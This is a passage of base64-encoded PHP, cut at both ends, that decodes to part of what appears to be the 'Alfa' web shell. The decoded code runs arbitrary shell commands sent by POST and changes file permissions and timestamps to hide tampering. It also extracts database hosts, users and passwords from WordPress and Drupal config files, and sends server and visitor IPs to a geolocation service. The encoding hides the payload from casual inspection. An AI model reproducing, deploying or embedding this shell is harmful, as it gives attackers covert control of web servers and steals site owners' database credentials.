oJGRpcikpIGNvbnRpbnVlOwpAQWxmYV9TZWFyY2hlcigkZGlyLCAkZXh0LCAkbWV0aG9kKTsKfQpzd2l0Y2goJG1ldGhvZCl7CmNhc2UgImZpbGVzIjoKZm9yZWFjaCAoJGdsb2JGaWxlcyBhcyAkZmlsZSl7CmlmKEBpc193cml0YWJsZSgkZmlsZSkpewplY2hvICIkZmlsZTxicj4iOwp9Cn0KYnJlYWs7CmNhc2UgImRpcnMiOgpmb3JlYWNoICgkZ2xvYkZpbGVzIGFzICRmaWxlKXsKaWYoQGlzX3dyaXRhYmxlKGRpcm5hbWUoJGZpbGUpKSAmJiAhaW5fYXJyYXkoZGlybmFtZSgkZmlsZSksICRibGFja2xpc3QpKXsKZWNobyBkaXJuYW1lKCRmaWxlKS4nPGJyPic7CiRibGFja2xpc3RbXSA9IGRpcm5hbWUoJGZpbGUpOwp9Cn0KYnJlYWs7CmNhc2UgImFsbCI6CmZvcmVhY2ggKCRnbG9iRmlsZXMgYXMgJGZpbGUpewplY2hvICRmaWxlLic8YnI+JzsKfQpicmVhazsKfQp1bnNldCgkYmxhY2tsaXN0KTsKfQp9CmZ1bmN0aW9uIEFsZmFpRnJhbWVDcmVhdG9yKCRmLCR3aWR0aD0nMTAwJScsJGhlaWdodD0nNjAwcHgnKXsKcmV0dXJuKCc8aWZyYW1lIHNyYz0iJy5fX0FMRkFfREFUQV9GT0xERVJfXy4iLyIuJGYuJyIgd2lkdGg9IicuJHdpZHRoLiciIGhlaWdodD0iJy4kaGVpZ2h0LiciIGZyYW1lYm9yZGVyPSIwIj48L2lmcmFtZT4nKTsKfQpjbGFzcyBBbGZhQ1VSTCB7CnB1YmxpYyAkaGVhZGVyczsKcHVibGljICR1c2VyX2FnZW50OwpwdWJsaWMgJGNvbXByZXNzaW9uOwpwdWJsaWMgJGNvb2tpZV9maWxlOwpwdWJsaWMgJHByb3h5OwpwdWJsaWMgJHBhdGg7CnB1YmxpYyAkc3NsID0gdHJ1ZTsKcHVibGljICRjdXJsX3N0YXR1cyA9IHRydWU7CmZ1bmN0aW9uIF9fY29uc3RydWN0KCRjb29raWVzPWZhbHNlLCRjb21wcmVzc2lvbj0nZ3ppcCcsJHByb3h5PScnKXsKaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ2N1cmwnKSl7JGN1cmxfc3RhdHVzID0gZmFsc2U7cmV0dXJuIGZhbHNlO30KJHRoaXMtPmhlYWRlcnNbXSA9ICdBY2NlcHQ6IGltYWdlL2dpZiwgaW1hZ2UveC1iaXRtYXAsIGltYWdlL2pwZWcsIGltYWdlL3BqcGVnJzsKJHRoaXMtPmhlYWRlcnNbXSA9ICdDb25uZWN0aW9uOiBLZWVwLUFsaXZlJzsKJHRoaXMtPmhlYWRlcnNbXSA9ICdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZDtjaGFyc2V0PVVURi04JzsKJHRoaXMtPnVzZXJfYWdlbnQgPSAnTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfMTRfNikgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzgzLjAuNDEwMy42MSBTYWZhcmkvNTM3LjM2KSc7CiR0aGlzLT5wYXRoID0gQUxGQV9URU1QRElSLicvQWxmYV9jb29raWVzLnR4dCc7CiR0aGlzLT5jb21wcmVzc2lvbj0kY29tcHJlc3Npb247CiR0aGlzLT5wcm94eT0kcHJveHk7CiR0aGlzLT5jb29raWVzPSRjb29raWVzOwppZigkdGhpcy0+Y29va2llcykkdGhpcy0+Y29va2llKCR0aGlzLT5wYXRoKTsKfQpmdW5jdGlvbiBjb29raWUoJGNvb2tpZV9maWxlKSB7CmlmIChfYWxmYV9maWxlX2V4aXN0cygkY29va2llX2ZpbGUsZmFsc2UpKSB7CiR0aGlzLT5jb29raWVfZmlsZT0kY29va2llX2ZpbGU7Cn1lbHNlewpAZm9wZW4oJGNvb2tpZV9maWxlLCd3Jykgb3IgZGllKCR0aGlzLT5lcnJvcignVGhlIGNvb2tpZSBmaWxlIGNvdWxkIG5vdCBiZSBvcGVuZWQuJykpOwokdGhpcy0+Y29va2llX2ZpbGU9JGNvb2tpZV9maWxlOwpAZmNsb3NlKCR0aGlzLT5jb29raWVfZmlsZSk7Cn0KfQpmdW5jdGlvbiBTZW5kKCR1cmwsJG1ldGhvZD0iZ2V0IiwkZGF0YT0iIil7CmlmKCEkdGhpcy0+Y3VybF9zdGF0dXMpe3JldHVybiBmYWxzZTt9CiRwcm9jZXNzID0gY3VybF9pbml0KCR1cmwpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9IVFRQSEVBREVSLCAkdGhpcy0+aGVhZGVycyk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0hFQURFUiwgMCk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHRoaXMtPnVzZXJfYWdlbnQpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0VOQ09ESU5HICwgJHRoaXMtPmNvbXByZXNzaW9uKTsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfVElNRU9VVCwgMzApOwppZigkdGhpcy0+c3NsKXsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIgLGZhbHNlKTsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsZmFsc2UpOwp9CmlmKCR0aGlzLT5jb29raWVzKXsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfQ09PS0lFRklMRSwgJHRoaXMtPnBhdGgpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9DT09LSUVKQVIsICR0aGlzLT5wYXRoKTsKfQppZigkdGhpcy0+cHJveHkpewpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9QUk9YWSwgJHRoaXMtPnByb3h5KTsKfQppZigkbWV0aG9kPT0ncG9zdCcpewpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9QT1NURklFTERTLCAkZGF0YSk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1BPU1QsIDEpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9IVFRQSEVBREVSLCBhcnJheSgnQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKSk7Cn0KJHJldHVybiA9IEBjdXJsX2V4ZWMoJHByb2Nlc3MpOwpjdXJsX2Nsb3NlKCRwcm9jZXNzKTsKcmV0dXJuICRyZXR1cm47Cn0KZnVuY3Rpb24gZXJyb3IoJGVycm9yKSB7CmVjaG8gIjxjZW50ZXI+PGRpdiBzdHlsZT0nd2lkdGg6NTAwcHg7Ym9yZGVyOiAzcHggc29saWQgI0ZGRUVGRjsgcGFkZGluZzogM3B4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZEREZGO2ZvbnQtZmFtaWx5OiB2ZXJkYW5hOyBmb250LXNpemU6IDEwcHgnPjxiPmNVUkwgRXJyb3I8L2I+PGJyPiRlcnJvcjwvZGl2PjwvY2VudGVyPiI7CmRpZTsKfQp9CmZ1bmN0aW9uIGdldENvbmZpZ0h0bWwoJGNtcyl7CiRjb250ZW50ID0gJyc7CiRjbXNfYXJyYXkgPSBhcnJheSgid3AiID0+ICJXb3JkUHJlc3MiLCAidmIiID0+ICJ2QnVsbGV0aW4iLCAid2htY3MiID0+ICJXaG1jcyIsICJqb29tbGEiID0+ICJKb29tbGEiLCAicGhwbnVrZSIgPT4gIlBIUE51a2UiLCJwaHBiYiI9PiJQSFBCQiIsIm15YmIiPT4iTXlCQiIsImRydXBhbCI9PiJEcnVwYWwiLCJzbWYiPT4iU01GIik7CiRjb250ZW50IC49ICI8Zm9ybSBjbGFzcz0nZ2V0Y29uZmlnJyBvblN1Ym1pdD0nZyhcIkdldENvbmZpZ1wiLG51bGwsdGhpcy5jbXMudmFsdWUsdGhpcy5wYXRoLnZhbHVlLHRoaXMuZ2V0QXR0cmlidXRlKFwiYmFzZV9pZFwiKSk7cmV0dXJuIGZhbHNlOyc+PGRpdiBjbGFzcz0ndHh0Zm9udCc+Q21zOiA8L2Rpdj4gPHNlbGVjdCBuYW1lPSdjbXMnc3R5bGU9J3dpZHRoOjEwMHB4Oyc+IjsKZm9yZWFjaCgkY21zX2FycmF5IGFzICRrZXkgPT4gJHZhbCl7CiRjb250ZW50IC49ICI8b3B0aW9uIHZhbHVlPSd7JGtleX0nICIuKCRrZXk9PSRjbXM/J3NlbGVjdGVkPXNlbGVjdGVkJzonJykuIj57JHZhbH08L29wdGlvbj4iOwp9CiRjb250ZW50IC49ICI8L3NlbGVjdD4gPGRpdiBjbGFzcz0ndHh0Zm9udCc+UGF0aChpbnN0YWxsZWQgY21zL0NvbmZpZyk6IDwvZGl2PiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGF0aCcgdmFsdWU9JyIuJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4iLycgc2l6ZT0nMzAnIC8+IDxidXR0b24gY2xhc3M9J2J1dHRvbic+R2V0Q29uZmlnPC9idXR0b24+IjsKJGNvbnRlbnQgLj0gIjwvZm9ybT4iOwpyZXR1cm4gJGNvbnRlbnQ7Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2pzb25fZW5jb2RlJykpewogICAgZnVuY3Rpb24ganNvbl9lbmNvZGUoJGE9ZmFsc2UpewogICAgICAgIGlmIChpc19udWxsKCRhKSkgcmV0dXJuICdudWxsJzsKICAgICAgICBpZiAoJGEgPT09IGZhbHNlKSByZXR1cm4gJ2ZhbHNlJzsKICAgICAgICBpZiAoJGEgPT09IHRydWUpIHJldHVybiAndHJ1ZSc7CiAgICAgICAgaWYgKGlzX3NjYWxhcigkYSkpCiAgICAgICAgewogICAgICAgICAgICBpZiAoaXNfZmxvYXQoJGEpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmxvYXR2YWwoc3RyX3JlcGxhY2UoIiwiLCAiLiIsIHN0cnZhbCgkYSkpKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKGlzX3N0cmluZygkYSkpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHN0YXRpYyAkanNvblJlcGxhY2VzID0gYXJyYXkoYXJyYXkoIlxcIiwgIi8iLCAiXG4iLCAiXHQiLCAiXHIiLCAiXGIiLCAiXGYiLCAnIicpLCBhcnJheSgnXFxcXCcsICdcXC8nLCAnXFxuJywgJ1xcdCcsICdcXHInLCAnXFxiJywgJ1xcZicsICdcIicpKTsKICAgICAgICAgICAgICAgIHJldHVybiAnIicgLiBzdHJfcmVwbGFjZSgkanNvblJlcGxhY2VzWzBdLCAkanNvblJlcGxhY2VzWzFdLCAkYSkgLiAnIic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgfQogICAgICAgICRpc0xpc3QgPSB0cnVlOwogICAgICAgIGZvciAoJGkgPSAwLCByZXNldCgkYSk7ICRpIDwgY291bnQoJGEpOyAkaSsrLCBuZXh0KCRhKSkKICAgICAgICB7CiAgICAgICAgICAgIGlmIChrZXkoJGEpICE9PSAkaSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJGlzTGlzdCA9IGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJHJlc3VsdCA9IGFycmF5KCk7CiAgICAgICAgaWYgKCRpc0xpc3QpCiAgICAgICAgewogICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkdikgJHJlc3VsdFtdID0ganNvbl9lbmNvZGUoJHYpOwogICAgICAgICAgICByZXR1cm4gJ1snIC4gam9pbignLCcsICRyZXN1bHQpIC4gJ10nOwogICAgICAgIH0KICAgICAgICBlbHNlCiAgICAgICAgewogICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkayA9PiAkdikgJHJlc3VsdFtdID0ganNvbl9lbmNvZGUoJGspLic6Jy5qc29uX2VuY29kZSgkdik7CiAgICAgICAgICAgIHJldHVybiAneycgLiBqb2luKCcsJywgJHJlc3VsdCkgLiAnfSc7CiAgICAgICAgfQogICAgfQp9CmlmICggIWZ1bmN0aW9uX2V4aXN0cygnanNvbl9kZWNvZGUnKSApewpmdW5jdGlvbiBqc29uX2RlY29kZSgkanNvbiwgJGFycmF5PXRydWUpewogICAgJGNvbW1lbnQgPSBmYWxzZTsKICAgICRvdXQgPSAnJHg9JzsKICAgIGZvciAoJGk9MDsgJGk8c3RybGVuKCRqc29uKTsgJGkrKykKICAgIHsKICAgICAgICBpZiAoISRjb21tZW50KQogICAgICAgIHsKICAgICAgICAgICAgaWYgKCRqc29uWyRpXSA9PSAneycgfHwgJGpzb25bJGldID09ICdbJyl7JG91dCAuPSAnIGFycmF5KCc7fQogICAgICAgICAgICBlbHNlIGlmICgkanNvblskaV0gPT0gJ30nIHx8ICRqc29uWyRpXSA9PSAnXScpeyRvdXQgLj0gJyknO30KICAgICAgICAgICAgZWxzZSBpZiAoJGpzb25bJGldID09ICc6Jyl7JG91dCAuPSAnPT4nO30KICAgICAgICAgICAgZWxzZSB7JG91dCAuPSAkanNvblskaV07fQogICAgICAgIH0KICAgICAgICBlbHNlICRvdXQgLj0gJGpzb25bJGldOwogICAgICAgIGlmICgkanNvblskaV0gPT0gJyInKSAgICAkY29tbWVudCA9ICEkY29tbWVudDsKICAgIH0KICAgIGV2YWwoJG91dCAuICc7Jyk7CiAgICByZXR1cm4gJHg7Cn0KfQpmdW5jdGlvbiBhbGZhdGVybWluYWxFeGVjKCl7CgkkcHdkID0gInB3ZCI7Cgkkc2VwZXJhdG9yID0gIjsiOwoJaWYoJEdMT0JBTFNbJ3N5cyddIT0ndW5peCcpewoJCSRwd2QgPSAiY2QiOwoJCSRzZXBlcmF0b3IgPSAiJiI7Cgl9CglpZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdJiYhZW1wdHkoJF9QT1NUWyJjIl0pKXskY21kID0gImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInIi4kc2VwZXJhdG9yO30KCSRjdXJyZW50X3BhdGggPSAnJzsKCWlmKHByZWdfbWF0Y2goIi9jZFsgXXswLH0oLiopWyBdezAsfSIuJHNlcGVyYXRvci4ifGNkWyBdezAsfSguKilbIF17MCx9L2kiLCAkX1BPU1RbJ2FsZmExJ10sICRtYXRjaCkpewoJCWlmKGVtcHR5KCRtYXRjaFsxXSkpewoJCQkkbWF0Y2hbMV0gPSAkbWF0Y2hbMl07CgkJfQoJCSRjdXJyZW50X3BhdGggPSBhbGZhRXgoImNkICIuYWRkc2xhc2hlcygkbWF0Y2hbMV0pLiRzZXBlcmF0b3IuJHB3ZCk7CgkJJGN1cnJlbnRfcGF0aCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN1cnJlbnRfcGF0aCk7Cgl9Cgkkb3V0ID0gYWxmYUV4KCRjbWQuJF9QT1NUWydhbGZhMSddLCB0cnVlKTsKCSRvdXQgPSBodG1sc3BlY2lhbGNoYXJzKCRvdXQpOwoJZWNobyBqc29uX2VuY29kZShhcnJheSgib3V0cHV0IiA9PiBjb252ZXJ0QmFzaCgkb3V0KSwgInBhdGgiID0+ICRjdXJyZW50X3BhdGgpKTsKfQpmdW5jdGlvbiBjb252ZXJ0QmFzaCgkY29kZSkgewogICAgJGRpY3Rpb25hcnkgPSBhcnJheSgKICAgICAgICAnWzAxOzMwbScgPT4gJzxzcGFuIHN0eWxlPSJjb2xvcjpibGFjayI+JywKICAgICAgICAnWzAxOzMxbScgPT4gJzxzcGFuIHN0eWxlPSJjb2xvcjpyZWQiPicsCiAgICAgICAgJ1swMTszMm0nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6Z3JlZW4iPicsCiAgICAgICAgJ1swMTszM20nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6eWVsbG93Ij4nLAogICAgICAgICdbMDE7MzRtJyA9PiAnPHNwYW4gc3R5bGU9ImNvbG9yOmJsdWUiPicsCiAgICAgICAgJ1swMTszNW0nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6cHVycGxlIj4nLAogICAgICAgICdbMDE7MzZtJyA9PiAnPHNwYW4gc3R5bGU9ImNvbG9yOmN5YW4iPicsCiAgICAgICAgJ1swMTszN20nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6d2hpdGUiPicsCiAgICAgICAgJ1swbScgICA9PiAnPC9zcGFuPicKICAgICk7CiAgICAkaHRtbFN0cmluZyA9IHN0cl9yZXBsYWNlKGFycmF5X2tleXMoJGRpY3Rpb25hcnkpLCAkZGljdGlvbmFyeSwgJGNvZGUpOwogICAgcmV0dXJuICRodG1sU3RyaW5nOwp9CmZ1bmN0aW9uIGFsZmFkb0FjdGlvbnMoKXsKCSRjaGRpcl9mYWxzID0gZmFsc2U7CglpZighQGNoZGlyKCRfUE9TVFsnYyddKSl7CgkJJGNoZGlyX2ZhbHMgPSB0cnVlOwoJCSRhbGZhX2NhbnJ1bmNtZCA9IF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSk7Cgl9CglpZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pKSRfUE9TVFsnYWxmYTEnXSA9IHJhd3VybGRlY29kZSgkX1BPU1RbJ2FsZmExJ10pOwoJaWYoaXNzZXQoJF9QT1NUWydhbGZhMiddKSkkX1BPU1RbJ2FsZmEyJ10gPSByYXd1cmxkZWNvZGUoJF9QT1NUWydhbGZhMiddKTsKCSRhY3Rpb24gPSAkX1BPU1RbImFsZmEzIl07CglpZigkYWN0aW9uID09ICJwZXJtaXNzaW9uIil7CgkJJHBlcm1zID0gMDsKCQkkcGVybSA9ICRfUE9TVFsiYWxmYTIiXTsKCQlmb3IoJGk9c3RybGVuKCRwZXJtKS0xOyRpPj0wOy0tJGkpewoJCQkkcGVybXMgKz0gKGludCkkcGVybVskaV0qcG93KDgsIChzdHJsZW4oJHBlcm0pLSRpLTEpKTsKCQl9CgkJaWYoQGNobW9kKCRfUE9TVFsnYWxmYTEnXSwgJHBlcm1zKSl7CgkJCWVjaG8oImRvbmUiKTsKCQl9ZWxzZXsKCQkJZWNobygibm8iKTsKCQl9CgkJcmV0dXJuOwoJfQoJaWYoJGFjdGlvbiA9PSAicmVuYW1lIiB8fCAkYWN0aW9uID09ICJtb3ZlIil7CgkJJGFsZmExX2RlY29kZWQgPSAkX1BPU1RbJ2FsZmExJ107CgkJaWYoJGNoZGlyX2ZhbHMpewoJCQkkX1BPU1RbJ2FsZmExJ10gPSAkX1BPU1RbImMiXS4iLyIuJF9QT1NUWyJhbGZhMSJdOwoJCX0KCQkkX1BPU1RbJ2FsZmExJ10gPSB0cmltKCRfUE9TVFsnYWxmYTEnXSk7CgkJJGFsZmExX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJhbGZhMSJdKTsKCQlpZigkX1BPU1RbImFsZmEzIl0gPT0gInJlbmFtZSIpewoJCQkkX1BPU1RbJ2FsZmEyJ10gPSBiYXNlbmFtZSgkX1BPU1RbJ2FsZmEyJ10pOwoJCX0KCQlpZighZW1wdHkoJF9QT1NUWydhbGZhMiddKSl7CgkJCSRjbWRfcmVuYW1lID0gZmFsc2U7CgkJCWlmKCRjaGRpcl9mYWxzJiYkYWxmYV9jYW5ydW5jbWQpewoJCQkJaWYoX2FsZmFfaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKSl7CgkJCQkJJGNtZF9yZW5hbWUgPSB0cnVlOwoJCQkJCSRhbGZhMV9lc2NhcGUgPSBhZGRzbGFzaGVzKCRhbGZhMV9kZWNvZGVkKTsKCQkJCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWydjJ10pLiInO212ICciLiRhbGZhMV9lc2NhcGUuIicgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmEyJ10pLiInIik7CgkJCQl9CgkJCX0KCQkJaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsnYWxmYTInXSkpewoJCQkJaWYoQHJlbmFtZSgkX1BPU1RbJ2FsZmExJ10sICRfUE9TVFsnYWxmYTInXSl8fCRjbWRfcmVuYW1lKXsKCQkJCQllY2hvICJkb25lIjsKCQkJCX1lbHNlewoJCQkJCWVjaG8gIm5vIjsKCQkJCX0KCQkJfWVsc2V7CgkJCQllY2hvICJubyI7CgkJCX0KCQl9Cgl9ZWxzZWlmKCRhY3Rpb24gPT0gImNvcHkiKXsKCQlpZihpc19kaXIoJF9QT1NUWyJhbGZhMSJdKSl7CgkJCSRkaXIgPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRfUE9TVFsiYWxmYTEiXSk7CgkJCSRkaXIgPSBleHBsb2RlKCcvJywgJGRpcik7CgkJCWlmKGVtcHR5KCRkaXJbY291bnQoJGRpcikgLSAxXSkpewoJCQkJJG5hbWUgPSAkZGlyW2NvdW50KCRkaXIpIC0gMl07CgkJCX1lbHNlewoJCQkJJG5hbWUgPSAkZGlyW2NvdW50KCRkaXIpIC0gMV07CgkJCX0KCQl9ZWxzZXsKCQkJJG5hbWUgPSBiYXNlbmFtZSgkX1BPU1RbImFsZmExIl0pOwoJCX0KCQkkZGlyID0gZGlybmFtZSgkX1BPU1RbImFsZmExIl0pOwoJCWlmKCRkaXIgPT0gIi4iKXsKCQkJJGRpciA9ICRfUE9TVFsiYyJdLiIvIjsKCQl9CgkJaWYoaXNfZmlsZSgkX1BPU1RbImFsZmExIl0pKXsKCQkJQGNvcHkoJF9QT1NUWyJhbGZhMSJdLCAkX1BPU1RbImFsZmEyIl0pOwoJCQllY2hvKCJkb25lIik7CgkJfWVsc2VpZihpc19kaXIoJF9QT1NUWyJhbGZhMSJdKSl7CgkJCWlmKCFpc19kaXIoJF9QT1NUWyJhbGZhMiJdKSl7CgkJCQlta2RpcigkX1BPU1RbImFsZmEyIl0sIDA3NTUsIHRydWUpOwoJCQl9CgkJCWNvcHlfcGFzdGUoJGRpciwgJG5hbWUgLCAkX1BPU1RbImFsZmEyIl0gLiAiLyIpOwoJCQllY2hvKCJkb25lIik7CgkJfQoJfWVsc2VpZigkYWN0aW9uID09ICJtb2RpZnkiKXsKCQlpZiggIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkgKSB7CgkJCSR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsnYWxmYTEnXSk7CgkJCWlmKCR0aW1lKXsKCQkJCSR0b3VjaGVkID0gZmFsc2U7CgkJCQlpZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKCQkJCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInO3RvdWNoIC1kICciLmh0bWxzcGVjaWFsY2hhcnMoYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmExJ10pKS4iJyAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSkuIiciKTsKCQkJCQkkdG91Y2hlZCA9IHRydWU7CgkJCQl9CgkJCQlpZighQHRvdWNoKCRfUE9TVFsnYWxmYTInXSwkdGltZSwkdGltZSkmJiEkdG91Y2hlZCl7CgkJCQkJZWNobyAnbm8nOwoJCQkJfWVsc2V7CgkJCQkJZWNobyAnb2snOwoJCQkJfQoJCQl9IGVsc2V7CgkJCQkgZWNobyAnYmFkdGltZSc7CgkJCX0KCQl9Cgl9Cgp9CmZ1bmN0aW9uIGFsZmFnZXRfZmxhZ3MoKXsKCSRmbGFncyA9IGFycmF5KCk7CglpZihmdW5jdGlvbl9leGlzdHMoImN1cmxfdmVyc2lvbiIpKXsKCQkkY3VybCA9IG5ldyBBbGZhQ1VSTCgpOwoJCSRzZXJ2ZXJfYWRkciA9ICghQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdPyhmdW5jdGlvbl9leGlzdHMoImdldGhvc3RieW5hbWUiKT9AZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSk6Jz8/Pz8nKTpAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0pOwoJCSRmbGFnID0gJGN1cmwtPlNlbmQoImh0dHA6Ly93d3cuZ2VvcGx1Z2luLm5ldC9qc29uLmdwP2lwPSIgLiAkc2VydmVyX2FkZHIpOwoJCSRmbGFnMiA9ICRjdXJsLT5TZW5kKCJodHRwOi8vd3d3Lmdlb3BsdWdpbi5uZXQvanNvbi5ncD9pcD0iIC4gJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pOwoJCWlmKHN0cnBvcygkZmxhZzIsICJnZW9wbHVnaW4iKSAhPSBmYWxzZSl7CgkJCSRmbGFnID0ganNvbl9kZWNvZGUoJGZsYWcsIHRydWUpOwoJCQkkZmxhZzIgPSBqc29uX2RlY29kZSgkZmxhZzIsIHRydWUpOwoJCQlpZighZW1wdHkoJGZsYWdbJ2dlb3BsdWdpbl9jb3VudHJ5Q29kZSddKSl7CgkJCQkkZmxhZ3NbInNlcnZlciJdWyJuYW1lIl0gPSAkZmxhZ1snZ2VvcGx1Z2luX2NvdW50cnlOYW1lJ107CgkJCQkkZmxhZ3NbInNlcnZlciJdWyJjb2RlIl0gPSAkZmxhZ1snZ2VvcGx1Z2luX2NvdW50cnlDb2RlJ107CgkJCX0KCQkJaWYoIWVtcHR5KCRmbGFnMlsnZ2VvcGx1Z2luX2NvdW50cnlDb2RlJ10pKXsKCQkJCSRmbGFnc1siY2xpZW50Il1bIm5hbWUiXSA9ICRmbGFnMlsnZ2VvcGx1Z2luX2NvdW50cnlOYW1lJ107CgkJCQkkZmxhZ3NbImNsaWVudCJdWyJjb2RlIl0gPSAkZmxhZzJbJ2dlb3BsdWdpbl9jb3VudHJ5Q29kZSddOwoJCQl9CgkJfQoJfQoJZWNobyBqc29uX2VuY29kZSgkZmxhZ3MpOwp9CmZ1bmN0aW9uIGFsZmFHZXRDb25maWcoKXsKJGNtcyA9ICRfUE9TVFsnYWxmYTEnXTsKJHBhdGggPSB0cmltKCRfUE9TVFsnYWxmYTInXSk7CiRjb25maWcgPSBhcnJheSgKJ3dwJz0+YXJyYXkoJ2ZpbGUnPT4nL3dwLWNvbmZpZy5waHAnLAonaG9zdCc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfSE9TVCg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RibmFtZSc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfTkFNRSg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RidXNlcic9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfVVNFUig/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RicHcnPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1BBU1NXT1JEKD86J3xcIilbIF17MCx9LFsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9XClbIF17MCx9Oy8iLDEpLAoncHJlZml4Jz0+YXJyYXkoIi90YWJsZV9wcmVmaXhbIF17MCx9PVsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9Oy8iLDEpCiksCidkcnVwYWwnPT5hcnJheSgnZmlsZSc9PicvY29uZmlnLnBocCcsCidob3N0Jz0+YXJyYXkoIi9kZWZpbmVbIF17MCx9XChbIF17MCx9KD86J3xcIilEQl9IT1NUTkFNRSg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RibmFtZSc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfREFUQUJBU0UoPzonfFwiKVsgXXswLH0sWyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH1cKVsgXXswLH07LyIsMSksCidkYnVzZXInPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1VTRVJOQU1FKD86J3xcIilbIF17MCx9LFsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9XClbIF17MCx9Oy8iLDEpLAonZGJwdyc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfUEFTU1dPUkQoPzonfFwiKVsgXXswLH0sWyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH1cKVsgXXswLH07LyIsMSksCidwcmVmaXgnPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1BSRUZJWCg/Oid8XCIpW